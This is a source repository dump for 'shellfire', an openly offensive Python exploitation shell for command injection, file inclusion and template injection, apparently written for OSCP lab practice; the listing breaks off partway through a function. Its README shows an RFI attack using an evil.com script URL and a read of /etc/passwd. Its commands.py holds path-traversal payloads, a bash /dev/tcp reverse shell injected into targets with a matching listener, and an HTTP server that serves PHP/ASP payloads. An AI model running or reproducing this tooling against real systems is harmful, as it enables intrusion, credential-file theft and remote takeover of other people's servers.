[
  {
    "path": ".gitignore",
    "content": ".DS_Store\n.env\n__pycache__\n**/*.pyc\nbin\ninclude\nlib\npyvenv.cfg\n.flake8\nshellfire.egg-info\ndist\n.vscode\nMakefile\n"
  },
  {
    "path": "LICENSE",
    "content": "BSD 2-Clause License\n\nCopyright (c) 2016, \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n  list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n  this list of conditions and the following disclaimer in the documentation\n  and/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
  },
  {
    "path": "README.md",
    "content": "# shellfire\n\n_shellfire_ is an exploitation shell which focuses on exploiting command injection vulnerabilities. This can be useful when exploiting LFI, RFI, SSTI, etc.\n\nI originally started developing this script while working on my OSCP labs. As the capabilities grew, I thought maybe other people could find this as \nuseful as I have, so I decided to open source my tool.\n\n## Features  \n\n- [X] Persistent named configuration for multiple targets (and sharing!)  \n- [X] Plugin system  \n- [X] PHP payload  \n- [X] ASP payload  \n\n\n## Installation  \n\nThere are a few ways to install this tool. Shellfire is available via PyPI, so you can use pip.\n\n```\n$ pip install shellfire\n```\n\nFrom Kali Linux, you can even use apt.\n\n```\n$ sudo apt install shellfire\n```\n\nIf you'd like to build from source, you can use the standard Python setuptools to install this package.\n\n```\n$ git clone https://github.com/unix-ninja/shellfire.git\n$ cd shellfire\n$ python setup.py install\n```\n\n## A few useful hints\n\nAfter installing, you can just call 'shellfire' from your terminal.\n\n```\n$ shellfire\n[*] ShellFire v0.11\n[*] Type 'help' to see available commands\n(config)>\n```\n\nYou can type `help` at any time inside config mode for a list of available commands, or append \nthe command you want to know more information about to help for specific \ndetails. For example `help http`.\n\nLet's explore how to attack a basic RFI vulnerability!\n\nTo start exploitation, you need to specify at least the URL parameter of your target. \nSomething like the following should work:\n\n```\n(config)> url http://example.com/?path=http://evil.com/script.php\n```\n\nRunning any command now would cause your RFI to get executed on the remote target.\n\nLet's say you want to arbitrarily control the payloads going to the path paramter. This time, we will use `{}` to specify our injection point.\n\n```\n(config)> url http://example.com/?path={}\n```\n\nBefore we can send our payloads, we must enter shell mode.\n\n```\n(config)> shell\n```\n\nNow, you can just type the payload you want to send and hit enter.\n\n```\n(shell)> /etc/passwd\n```\n\nYou can always type \"exit\" to return from shell mode, back to config mode.\n\n```\n(shell)> exit\n```\n\nAt this point, you should have enough to exploit easy vulnerabilities. Payloads you enter on the shell will be appropriately injected and sent over to your target.\n\nMore complex vulnerabilities may require specifying additional options. \nFor example, let's assume you needed to send a cookie with a session ID in \norder to exploit your target. You may want to add something like this:\n\n```\n(config)> cookies { \"session_id\" : \"123456789\" }\n```\n\nWe can specify injection points in cookies too.\n\n```\n(config)> cookies { \"session_id\" : \"123456789\", \"vuln_param\": \"{}\" }\n```\n\nAdditional options, and information on how to use them, can be discovered by \nusing the `help` option in config mode.\n\nThanks to Offensive-Security for inspiring the creation of this utility.\n\nPlease use this tool for good.\n\nHappy hacking!\n\n\n## Testing  \n\nTesting is currently being done against the [dvwa docker image](https://hub.docker.com/r/vulnerables/web-dvwa/).\n"
  },
  {
    "path": "requirements.txt",
    "content": "requests\n"
  },
  {
    "path": "setup.py",
    "content": "from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nsetup(name='shellfire',\n    version='0.14',\n    description=(\n        'shellfire is an exploitation shell focusing on exploiting command '\n        'injection vulnerabilities, eg., LFI, RFI, SSTI, etc.'\n    ),\n    url='https://github.com/unix-ninja/shellfire',\n    author='unix-ninja',\n    author_email='chris@unix-ninja.com',\n    license='BSD',\n    python_requires='>=3.8.0',\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    packages=find_packages(),\n    include_package_data=True,\n    entry_points={\n        \"console_scripts\": [\n             \"shellfire=shellfire:cli\"\n        ]\n    },\n    install_requires=[\n        'requests'\n        ]\n    )\n"
  },
  {
    "path": "shellfire/__init__.py",
    "content": "#!/bin/env python3\n# Thanks to Offensive-Security for inspiring this!\n# Written by unix-ninja\n# Aug 2016\n\nimport argparse\nimport os\nimport readline\nimport requests\nimport shlex\nimport signal\nimport sys\nimport time\n\nfrom shellfire.config import cfg, state, prompt, Mode\nfrom shellfire.commands import command_list, cmd_config, send_payload, payload_php, payload_aspnet\n\n\n############################################################\n## Version Check\n\nif (sys.version_info < (3, 0)):\n  sys.stderr.write(\"[!] Error! Must execute this script with Python3.\")\n  sys.exit(2)\n\n############################################################\n## Parse options\n\nparser = argparse.ArgumentParser(\n    description='An exploitation shell for command injection vulnerabilities.')\nparser.add_argument('-c',\n                    dest='config',\n                    action='store',\n                    nargs='?',\n                    default=None,\n                    const='default',\n                    help='load a named config on startup.')\nparser.add_argument('-d',\n                    dest='debug',\n                    action='store_true',\n                    help='enable debugging (show queries during execution)')\nparser.add_argument('--generate',\n                    dest='payload',\n                    help='generate a payload to stdout. PAYLOAD can be \"php\" or \"aspnet\".')\nparser.add_argument('--version',\n                    dest='version',\n                    action='store_true',\n                    help='display version and exit.')\nstate.args = parser.parse_args()\n\n############################################################\n## Main App\n\n\ndef draw_prompt():\n  return '(%s)> ' % prompt[state.mode]\n\n\ndef sigint_handler(signum, frame):\n  state.userinput =\"\"\n  _q = readline.get_line_buffer()\n  state.input_offset = len(_q)\n  sys.stderr.write(\"\\n%s\" % (draw_prompt()))\n  return\n\n\ndef cli():\n  ## should we dump version?\n  if state.args.version:\n    sys.stderr.write(\"Shellfire v%s\\n\" % (cfg.version))\n    sys.exit(1)\n  ## if we are generating a payload to stdout, do it now, then bail\n  if state.args.payload:\n    state.args.payload = state.args.payload.lower()\n    if state.args.payload == \"php\":\n      sys.stderr.write(\"[*] Generating PHP payload...\\n\")\n      payload_php()\n    elif state.args.payload == \"aspnet\":\n      sys.stderr.write(\"[*] Generating ASP.NET payload...\\n\")\n      payload_aspnet()\n    else:\n      sys.stderr.write(\"[*] Invalid payload!\\n\")\n    sys.stdout.write(cfg.payload)\n    sys.exit(1)\n\n  ## show our banner\n  sys.stdout.write(\"\"\"                  1@@`\n                 ,@@@@%:\n              '?K@@@@@@@h'\n            |UQ@@@@@@@@@@m`      '\n      ,   |Q@@@@@@@@@@@@@@>      *B,\n    ~4x  L@@@@@@@@@@@@@@@@y      :QQ=\n  ~d@@t ,Q@@@@@@@@@@@@@@@@@?     :Q@@y`\n ;Q@@@D.r@@@@@@@QNOppd%Q@@@@3,` ,4@@@@z\n^Q@@@@@Kz@@@j+,         `,=yQ@@@@@@@@@@=\nU@@@@@@@@Qu,                `}Q@@@@@@@@X\nQ@@@@@@@}`                    .j@@@@@@@Q\n@@@@@@@L                        L@@@@@@@\n@@@@@@0-                        'g@@@@@@\nD@@@@@O`                        `D@@@@@D\nc@@@@@Q;    /@@@@\\    /@@@@\\    ;Q@@@@@\\\\\n`3@@@@@Q;   @@@@@@.  ,@@@@@@   ;Q@@@@@3`\n -q@@@@@Qr  \\\\@@@@/    \\\\@@@@/  ~Q@@@@@A-\n   LQ@@@@x        .@@.        >@@@@QL\n    ~d@@@Q\\\\'      i@@i      `=8@@@Q~\n      =O@@@@@l            ~Q@@@@O=`\n        ;{8@@g;  |    |  '4@@8{;\n           `^tPp$p%g0Rdkhm1^'\n\"\"\")\n  sys.stdout.write(\"[*] ShellFire v\" + cfg.version + \"\\n\")\n  sys.stdout.write(\"[*] Type 'help' to see available commands\\n\")\n  if state.args.debug is True:\n    sys.stdout.write(\"[*] Debug mode enabled.\\n\")\n\n  requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)\n\n  ## if we specified to load a named config, do it now\n  if state.args.config:\n    cmd_config([\".config\", \"load\", state.args.config])\n\n  ## setup history\n  if os.path.isfile(cfg.history_file):\n    try:\n      readline.read_history_file(cfg.history_file)\n    except Exception:\n      pass\n\n  ## setup tab completion\n  try:\n    from shellfire.tab_completion import ShellfireCompleter\n    completer = ShellfireCompleter()\n    readline.set_completer(completer.complete)\n    \n    # Set up tab binding for macOS (libedit) vs GNU readline\n    if sys.platform == 'darwin':\n      # macOS uses libedit which has different binding syntax\n      readline.parse_and_bind('bind ^I rl_complete')\n    else:\n      # GNU readline\n      readline.parse_and_bind('tab: complete')\n  except Exception as e:\n    # Silently fail if tab completion setup fails\n    pass\n\n  ## set initial payload for PHP\n  payload_php()\n\n  ## register our sigint handler\n  signal.signal(signal.SIGINT, sigint_handler)\n  ## main loop\n  while True:\n    while state.revshell_running:\n      try:\n        time.sleep(0.1)\n      except Exception:\n        state.revshell_running = False\n    ## reset command execution state each loop\n    state.exec_cmd = True\n    ## prompt for input\n    try:\n      state.userinput = input(draw_prompt()).strip()\n      if state.input_offset > 0:\n        state.userinput = state.userinput[state.input_offset:]\n        state.input_offset = 0\n    except EOFError:\n      ## if we recieve EOF, run cmd_exit()\n      sys.stdout.write(\"\\n\")\n      command_list[\"exit\"]['func'](\"exit\")\n    if not state.userinput:\n      continue\n    ## parse our input\n    cmd = shlex.split(state.userinput)\n\n    ## config mode\n    if state.mode == Mode.config:\n      if cmd[0] in command_list.keys():\n        state.exec_cmd = False\n        try:\n          command_list[cmd[0]]['func'](cmd)\n        except Exception as e:\n          sys.stdout.write(\"[!] %s\\n\" % (repr(e)))\n      else:\n        sys.stdout.write(\"[!] Invalid command '%s'.\\n\" % (cmd[0]))\n    ## shell mode\n    elif state.mode == Mode.shell:\n      if len(cmd)== 1 and cmd[0] == \"exit\":\n        command_list[cmd[0]]['func'](cmd)\n      else:\n        send_payload()\n\n\n## Main entrypoint - let's not pollute the global scope here.\nif __name__ == \"__main__\":\n  cli()\n"
  },
  {
    "path": "shellfire/commands.py",
    "content": "import copy\nimport json\nimport os\nimport readline\nimport requests\nimport select\nimport socket\nimport sys\nimport threading\nimport time\nimport urllib.parse\nfrom shellfire.config import cfg, state, Mode\nfrom shellfire.plugin_collection import plugins\nfrom shellfire.payloads import get_aspnet_payload, get_php_payload\n\n\n############################################################\n## Payloads\n\n\ndef payload_aspnet():\n  cfg.payload = get_aspnet_payload(cfg.marker)\n  cfg.payload_type = \"ASP.NET\"\n  return\n\n\ndef payload_php():\n  cfg.payload = get_php_payload(cfg.marker)\n  cfg.payload_type = \"PHP\"\n  return\n\n\ndef payload_fuzzfile():\n  ## root:.:0:0:.*:.*:.+\n  if cfg.fuzzfile == 'default':\n    payload = [r\"../../../../../../../../../etc/passwd\",\n      r\"../../../../../../../../etc/passwd\",\n      r\"../../../../../../../etc/passwd\",\n      r\"../../../../../../etc/passwd\",\n      r\"../../../../../etc/passwd\",\n      r\"../../../../etc/passwd\",\n      r\"../../../etc/passwd\",\n      r\"../../../../../../../../../../../../etc/passwd%00\",\n      r\"../../../../../../../../../../../../etc/passwd\",\n      r\"/../../../../../../../../../../etc/passwd^^\",\n      r\"/../../../../../../../../../../etc/passwd\",\n      r\"/./././././././././././etc/passwd\",\n      r\"\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..c\\passwd\",\n      r\"..\\..\\..\\..\\..\\..\\..\\..\\..\\..c\\passwd\",\n      r\"/..\\../..\\../..\\../..\\../..\\../..\\../etc/passwd\",\n      r\".\\./.\\./.\\./.\\./.\\./.\\./etc/passwd\",\n      r\"\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..c\\passwd%00\",\n      r\"..\\..\\..\\..\\..\\..\\..\\..\\..\\..c\\passwd%00\",\n      r\"%0a/bin/cat%20/etc/passwd\",\n      r\"%00/etc/passwd%00\",\n      r\"%00../../../../../../etc/passwd\",\n      r\"/../../../../../../../../../../../etc/passwd%00.jpg\",\n      r\"/../../../../../../../../../../../etc/passwd%00.html\",\n      r\"/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd\",\n      r\"/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n      r\"\\&apos;/bin/cat%20/etc/passwd\\&apos;\"\n    ]\n  else:\n    payload = []\n    with open(cfg.fuzzfile, 'r') as file:\n      payloads = file.readlines()\n      for p in payloads:\n        payload.append(p)\n  return payload\n\n\n############################################################\n## Functions\n\ndef show_help(cmd=None):\n  if cmd and cmd[0:1] == '.':\n    cmd = cmd[1:]\n  if cmd in command_list:\n    if len(command_list[cmd][\"help_text\"]):\n      sys.stdout.write(\"\".join(command_list[cmd][\"help_text\"]))\n    else:\n      sys.stdout.write(\"command doesn't have help text\\n\")\n  else:\n    sys.stdout.write(\"Available commands:\\n\")\n    for cmd_key in command_list:\n      sys.stdout.write(\"  %s\\n\" % (cmd_key))\n\n\ndef http_server(port):\n  ## super simple http. we can probably make this more robust.\n  ## set up network listener first\n  addr = ''\n  conn = None\n  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n  sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n  sock.settimeout(1)\n  sock.bind((addr, port))\n  sock.listen(1)\n  ## server loop\n  while state.http_running is True:\n    try:\n      if not conn:\n        conn, addr = sock.accept()\n      conn.recv(1024)\n\n      http_response = \"HTTP/1.1 200 OK\\n\\n\" + cfg.payload + \"\\n\"\n\n      ## send payload to the client\n      conn.send(bytes(http_response, 'utf-8'))\n      conn.close()\n      conn = None\n    except Exception as e:\n      if state.args.debug:\n        sys.stderr.write(\"[!] Err. socket.error : %s\\n\" % e)\n      pass\n  sys.stdout.write(\"[*] HTTP Server stopped\\n\")\n\n\ndef rev_shell(addr, port):\n  ## setup listener for reverse shell\n  port = int(port)\n  state.revshell_running = True\n  conn = None\n  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n  sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n  sock.bind((addr, port))\n  sock.listen(1)\n  conn, client_address = sock.accept()\n\n  ## listener loop\n  while True:\n    socket_list = [conn, sys.stdin]\n    read_sockets, write_sockets, error_sockets = select.select(\n        socket_list, [], [])\n\n    ## wait for connections\n    for s in read_sockets:\n      if s == conn:\n        data = s.recv(4096)\n        if not data:\n          state.revshell_running = False\n          return\n        else:\n          sys.stdout.write(data)\n          sys.stdout.flush()\n      else:\n        msg = input()\n        conn.send(msg)\n\n  ## cleanup\n  conn.close()\n  state.revshell_running = False\n  return\n\n\ndef parse_to_dict(data):\n  if data[0] == \"{\":\n    ## try to parse as json encoded data\n    try:\n      return json.loads(data)\n    except Exception as e:\n      sys.stderr.write(\"[!] %s\\n\" % e)\n  else:\n    ## try to parse as url encoded data\n    try:\n      d = urllib.parse.parse_qs(data.strip())\n      ## flatten lists if they are of size 1\n      ## this is especially necessary for cookies\n      for k,v in d.items():\n        if len(v) == 1:\n          d[k] = v[0]\n      ## return our dict\n      return d\n    except Exception as e:\n      sys.stderr.write(\"[!] %s\\n\" % e)\n  ## if we failed to pase, return an empty dict\n  return {}\n\n\ndef cmd_auth(cmd):\n  ## configure HTTP Basic auth settings\n  if len(cmd) > 1:\n    cfg.auth_user, cfg.auth_pass = cmd[2][len(cmd[0]) + 1:].split(\":\", 1)\n    cfg.auth = requests.auth.HTTPBasicAuth(cfg.auth_user, cfg.auth_pass)\n  else:\n    sys.stdout.write(\"[*] HTTP Auth: %s:%s\\n\" % (cfg.auth_user, cfg.auth_pass))\n  return\n\n\ndef cmd_config(cmd):\n  ## manage our configs\n  if len(cmd) > 3:\n    sys.stdout.write(\"[!] Invalid parameters for .config\\n\")\n    return\n  elif len(cmd) > 1:\n    if len(cmd) == 3:\n      name = cmd[2] + \".cfg\"\n    else:\n      name = 'default.cfg'\n    config_path = os.path.expanduser(\"~\") + \"/.config/shellfire/\"\n    name = config_path + name\n    if cmd[1] == \"save\":\n      ## make sure our directory exists\n      if not os.path.isdir(config_path):\n        os.makedirs(config_path)\n      ## save our config to json\n      with open(name, 'w') as my_config:\n        my_config.write(cfg.dump())\n        sys.stdout.write(\"[*] Config saved.\\n\")\n    elif cmd[1] == \"load\":\n      ## load json into our config\n      try:\n        with open(name, 'r') as my_config:\n          cfg.load(json.load(my_config))\n          sys.stdout.write(\"[*] Config restored.\\n\")\n      except Exception:\n        sys.stdout.write(\"[!] Unable to restore config!\\n\")\n  return\n\n\ndef cmd_cookies(cmd):\n  ## configure cookies to be sent to target\n  ## right now, we only parse JSON\n  if len(cmd) < 2:\n    sys.stdout.write(\"[*] Cookies: %s\\n\" % (json.dumps(cfg.cookies)))\n    return\n  ## grab our original input, sans our initial command\n  data = state.userinput[len(cmd[0]):].strip()\n  ## parse our data\n  cfg.cookies = parse_to_dict(data)\n  if cfg.cookies:\n    sys.stdout.write(\"[*] Cookies set: %s\\n\" % json.dumps(cfg.cookies))\n  return\n\n\ndef cmd_encode(cmd):\n  ## if no params passed, display current encoding plugins\n  if len(cmd) == 1:\n    sys.stdout.write(\"[*] Encoding: %s\\n\" % (' | '.join(cfg.encode_chain)))\n    return\n  ## Set our encoding plugins!\n  ## let's remove \".encode\" from our cmd\n  cmd.pop(0)\n  ## reset our chain\n  cfg.encode_chain = []\n  ## try to load our plugins\n  try:\n    for c in cmd:\n      if c != \"|\" and c != \"''\" and c != '\"\"':\n        if c in plugins.plugins:\n          cfg.encode_chain.append(c)\n        else:\n          cfg.encode_chain = []\n          sys.stdout.write(\"[!] Invalid plugin '%s'\\n\" % (c))\n          return\n  except Exception as e:\n    sys.stdout.write(\"[!] Error: %s\\n\" % (e))\n  return\n\n\ndef cmd_exit(cmd):\n  ## exit one level from our current mode\n  if state.mode == Mode.config:\n    state.http_running = False\n    if os.path.isfile(cfg.history_file):\n      readline.write_history_file(cfg.history_file)\n    sys.exit(0)\n  elif state.mode == Mode.shell:\n    state.mode = Mode.config\n\n\ndef cmd_files(cmd):\n  ## set files to send to remote target\n  if len(cmd) == 1:\n    sys.stdout.write(\"[*] Files: %s\\n\" % (cfg.files))\n    return\n  if cmd[1] == \"\":\n    cfg.files = {}\n    sys.stdout.write(\"[*] Files cleared.\\n\")\n    return\n  if len(cmd) != 3:\n    sys.stdout.write(\"[!] Invalid parameters!\\n\")\n    return\n  ## label our vars\n  key = cmd[1]\n  name = cmd[2]\n  ## parse our command\n  cfg.files = {'key': key}\n  if name[0] == \"@\":\n    cfg.files['file'] = name[1:]\n    sys.stdout.write(\"[*] File set.\\n\")\n  else:\n    cfg.files['plugin'] = name\n    sys.stdout.write(\"[*] Plugin set.\\n\")\n  return\n\n\ndef cmd_find(cmd):\n  ## run \"find\" on remote target\n  if len(cmd) != 2:\n    sys.stdout.write(\"[!] Invalid parameters\\n\")\n    return\n  if cmd[1] == \"setgid\":\n    state.userinput = \"find / -type f -perm -02000 -ls\"\n  elif cmd[1] == \"setuid\":\n    state.userinput = \"find / -type f -perm -04000 -ls\"\n  else:\n    sys.stderr.write(\"[!] Invalid parameters\\n\")\n    return\n  state.exec_cmd = True\n  return\n\n\ndef cmd_fuzz(cmd):\n  ## set files to send to remote target\n  if len(cmd) == 1:\n    sys.stdout.write(\"[*] Fuzz file: %s\\n\" % (cfg.fuzzfile))\n    return\n  if cmd[1] == \"start\":\n    sys.stderr.write(\"[*] Starting fuzzer...\\n\")\n    state.exec_cmd = True\n    for payload in payload_fuzzfile():\n      state.userinput = payload\n      sys.stdout.write(\"[*] payload: %s\\n\" % (payload))\n      send_payload()\n    state.exec_cmd = False\n  else:\n    cfg.fuzzfile = cmd[1]\n  return\n\n\ndef cmd_headers(cmd):\n  \"\"\"List or configure the HTTP request headers\n    .headers\n    .headers default\n    .headers {\"X-EXAMPLE-HEADER\": \"SomeValueHere\" }\n  Args:\n    cmd (Str): \"default\" to reset the headers, otherwise a JSON string of\n                the preferred header set.\n  \"\"\"\n  if len(cmd) < 1:\n    sys.stderr.write(\"[!] Invalid parameters\\n\")\n    sys.stderr.write(\"    .headers {\\\"X-EXAMPLE\\\": \\\"some_value_here\\\"}\\n\")\n    sys.stderr.write(\"    .headers default\\n\")\n    return\n  elif len(cmd) == 1:\n    sys.stdout.write(\"[*] Request headers are: \\n\")\n    sys.stdout.write(json.dumps(cfg.headers, indent=2) + \"\\n\")\n    return\n  ## let's set our headers!\n  if cmd[1] == \"default\":\n    cfg.headers = cfg.default_headers\n    sys.stdout.write(\"[*] Set request headers back to default.\\n\")\n    return\n  ## grab our original input, sans our initial command\n  data = state.userinput[len(cmd[0]):].strip()\n  ## parse our data\n  cfg.headers = parse_to_dict(data)\n  if cfg.headers:\n    sys.stdout.write(\"[*] Request headers are now: \\n\")\n    sys.stdout.write(json.dumps(cfg.headers, indent=2) + \"\\n\")\n  return\n\n\ndef cmd_help(cmd):\n  if len(cmd) == 2:\n    show_help(cmd[1])\n  else:\n    show_help()\n  return\n\n\ndef cmd_history(cmd):\n  ## configure history settings for shellfire (via readline)\n  if len(cmd) == 1:\n    if os.path.isfile(cfg.history_file):\n      sys.stdout.write(\"[*] History writing is enabled\\n\")\n    else:\n      sys.stdout.write(\"[*] History writing is disabled\\n\")\n  else:\n    if cmd[1] == \"clear\":\n      readline.clear_history()\n      sys.stdout.write(\"[*] History is cleared\\n\")\n    elif cmd[1] == \"save\":\n      with open(cfg.history_file, 'a'):\n        os.utime(cfg.history_file, None)\n      sys.stdout.write(\"[*] History writing is enabled\\n\")\n    elif cmd[1] == \"nosave\":\n      os.remove(cfg.history_file)\n      sys.stdout.write(\"[*] History writing is disabled\\n\")\n  return\n\n\ndef cmd_http(cmd):\n  ## control our local http server\n  if len(cmd) == 1:\n    if state.http_running is True:\n      sys.stdout.write(\"[*] HTTP server listening on %s\\n\" % cfg.http_port)\n      sys.stdout.write(\"[*] HTTP payload: %s\\n\" % cfg.payload_type)\n    else:\n      sys.stdout.write(\"[*] HTTP server is not running\\n\")\n    return\n  if cmd[1] == \"start\":\n    if state.http_running is False:\n      if len(cmd) > 2:\n        try:\n          cfg.http_port = int(cmd[2])\n        except Exception:\n          sys.stderr.write(\"[!] Invalid port value: %s\\n\" % (cmd[2]))\n          return\n      s = threading.Thread(target=http_server, args=(cfg.http_port,))\n      s.start()\n      state.http_running = True\n      sys.stdout.write(\"[*] HTTP server listening on %s\\n\" % cfg.http_port)\n    else:\n      sys.stderr.write(\"[!] HTTP server already running\\n\")\n  elif cmd[1] == \"stop\":\n    if state.http_running is True:\n      state.http_running = False\n      time.sleep(1)\n    else:\n      sys.stderr.write(\"[!] HTTP server already stopped\\n\")\n  elif cmd[1] == \"payload\":\n    if cmd[2] == \"aspnet\":\n      payload_aspnet()\n    elif cmd[2] == \"php\":\n      payload_php()\n    else:\n      sys.stderr.write(\"[!] Unrecognized payload type\\n\")\n      return\n    sys.stdout.write(\"[*] HTTP payload set: %s\\n\" % cfg.payload_type)\n  return\n\n\ndef cmd_marker(cmd):\n  ## set the marker for our rce payloads\n  ## this will determine boundaries to split and clean output\n  if len(cmd) == 1:\n    sys.stderr.write(\"[*] Payload marker: %s\\n\" % (cfg.marker))\n    if cfg.marker:\n      idx_str = ' '.join(str(idx) for idx in cfg.marker_idx)\n    else:\n      idx_str = 'disabled'\n    sys.stderr.write(\"[*] Marker indices: %s\\n\" % (idx_str))\n    return\n  ## let's remove \"marker\" from our cmd\n  cmd.pop(0)\n\n  ## assign our action and remove it from cmd\n  action = cmd[0]\n  cmd.pop(0)\n\n  ## process our action\n  if action == \"set\":\n    ## set the rest of the string as our marker\n    cfg.marker = \" \".join(cmd)\n    if not cfg.marker: cfg.marker = None\n    sys.stdout.write(\"[*] Payload output marker set.\\n\")\n  elif action == \"out\":\n    cfg.marker_idx = [int(idx) for idx in cmd]\n    sys.stdout.write(\"[*] Marker indices set.\\n\")\n  else:\n    sys.stdout.write(\"[!] Bad marker param!\\n\")\n  return\n\n\ndef cmd_method(cmd):\n  ## configure HTTP method to use against the target\n  if len(cmd) > 2:\n    sys.stderr.write(\"[!] Invalid parameters\\n\")\n    sys.stderr.write(\"    .method <method>\\n\")\n    return\n  if len(cmd) == 2:\n    if cmd[1] == \"post\":\n      cfg.method = \"post\"\n    elif cmd[1] == \"form\":\n      cfg.method = \"form\"\n    else:\n      cfg.method = \"get\"\n  sys.stdout.write(\"[*] HTTP method set: %s\\n\" % cfg.method.upper())\n  return\n\n\ndef cmd_phpinfo(cmd):\n  ## trigger phpinfo payload\n  state.userinput = \"_show_phpinfo\"\n  state.exec_cmd = True\n  return\n\n\ndef cmd_plugins(cmd):\n  ## show our available plugins\n  sys.stdout.write(\"[*] Available plugins: %s\\n\" % (' '.join(plugins.plugins)))\n  return\n\n\ndef cmd_post(cmd):\n  ## configure POST data to send\n  if len(cmd) < 2:\n    sys.stdout.write(\"[*] POST data: %s\\n\" % json.dumps(cfg.post_data))\n    return\n  ## grab our original input, sans our initial command\n  data = state.userinput[len(cmd[0]):].strip()\n  ## parse the data\n  cfg.post_data = parse_to_dict(data)\n  if cfg.post_data:\n    sys.stdout.write(\"[*] POST data set: %s\\n\" % json.dumps(cfg.post_data))\n  return\n\n\ndef cmd_referer(cmd):\n  ## set HTTP referer\n  if len(cmd) > 1:\n    cmd.pop(0)\n    cfg.headers['Referer'] = \" \".join(cmd)\n  sys.stdout.write(\"[*] Referer set: %s\\n\" % cfg.headers['Referer'])\n  return\n\n\ndef cmd_revshell(cmd):\n  ## initiate a reverse shell via rce\n  if len(cmd) != 3:\n    sys.stderr.write(\"[!] Invalid parameters\\n\")\n    sys.stderr.write(\"    .shell <ip_address> <port>\\n\")\n    return\n  sys.stdout.write(\"[*] Initiating reverse shell...\\n\")\n  host = cmd[1]\n  port = cmd[2]\n  state.userinput = \"bash -i >& /dev/tcp/\" + host + \"/\" + port + \" 0>&1\"\n\n  ## open our reverse shell in a new thread\n  s = threading.Thread(target=rev_shell, args=(host, port))\n  s.start()\n\n  ## make sure the thread is init before proceeding\n  time.sleep(1)\n\n  state.exec_cmd = True\n  return\n\n\ndef cmd_shell(cmd):\n  if state.mode == Mode.config:\n    state.mode = Mode.shell\n  return\n\n\ndef cmd_url(cmd):\n  ## set URL for remote target\n  if len(cmd) > 1:\n    cfg.url = state.userinput[len(cmd[0]) + 1:]\n  sys.stdout.write(\"[*] Exploit URL set: %s\\n\" % cfg.url)\n  return\n\n\ndef cmd_useragent(cmd):\n  ## set the user agenet to send to target\n  if len(cmd) > 1:\n    cfg.headers['User-Agent'] = state.userinput[len(cmd[0]) + 1:]\n  sys.stdout.write(\"[*] User-Agent set: %s\\n\" % cfg.headers['User-Agent'])\n  return\n\ndef expand_payload(my_list, data):\n  ## if we have a dict, expand our marker tags `{}` recursively\n  if not isinstance(my_list, dict) and not isinstance(my_list, list):\n    return\n  if isinstance(my_list, dict):\n    ## process as a dict\n    for k, v in my_list.items():\n        if isinstance(my_list[k], dict) or isinstance(my_list[k], list):\n          expand_payload(my_list[k], data)\n        else:\n          my_list[k] = v.replace('{}', data)\n  else:\n    ## process as a list\n    for k, v in enumerate(my_list):\n        if isinstance(v, dict) or isinstance(v, list):\n          expand_payload(v, data)\n        else:\n          my_list[k] = v.replace('{}', data)\n  return\n\ndef send_payload():\n  ## execute our command to the remote target\n  if state.exec_cmd:\n    cmd = state.userinput\n\n    ## let's run our input through our encoding plugins\n    if len(cfg.encode_chain):\n      try:\n        for enc in cfg.encode_chain:\n          cmd = plugins.plugins[enc].run(cmd)\n      except Exception:\n        pass\n\n    ## generate GET payloads\n    if '{}' in cfg.url:\n      query = cfg.url.replace('{}', cmd.strip())\n    else:\n      query = cfg.url\n\n    ## generate POST payloads\n    post_data = copy.deepcopy(cfg.post_data)\n    expand_payload(post_data, cmd.strip())\n\n    ## generate cookie payloads\n    cookie_data = copy.deepcopy(cfg.cookies)\n    expand_payload(cookie_data, cmd.strip())\n    requests.utils.add_dict_to_cookiejar(state.requests.cookies, cookie_data)\n\n    ## generate headers payloads\n    header_data = copy.deepcopy(cfg.headers)\n    expand_payload(header_data, cmd.strip())\n\n    ## log debug info\n    if state.args.debug:\n      sys.stdout.write(\"[D] URL %s\\n\" % query)\n      if cfg.method == \"post\":\n        sys.stdout.write(\"[D] POST %s\\n\" % json.dumps(post_data))\n      sys.stdout.write(\"[D] Cookies %s\\n\" % json.dumps(cookie_data))\n      sys.stdout.write(\"[D] Headers %s\\n\" % json.dumps(header_data))\n    try:\n      if cfg.method == \"post\":\n        r = state.requests.post(\n            query,\n            data=post_data,\n            verify=False,\n            # cookies=cookie_data,\n            headers=header_data,\n            auth=cfg.auth)\n      elif cfg.method == \"form\":\n        files = {'': (None, '')}\n        ## do we have files to upload?\n        if 'key' in cfg.files.keys():\n          ## check for raw files first\n          if 'file' in cfg.files.keys():\n            try:\n              files = {cfg.files['key']: open(cfg.files['file'], 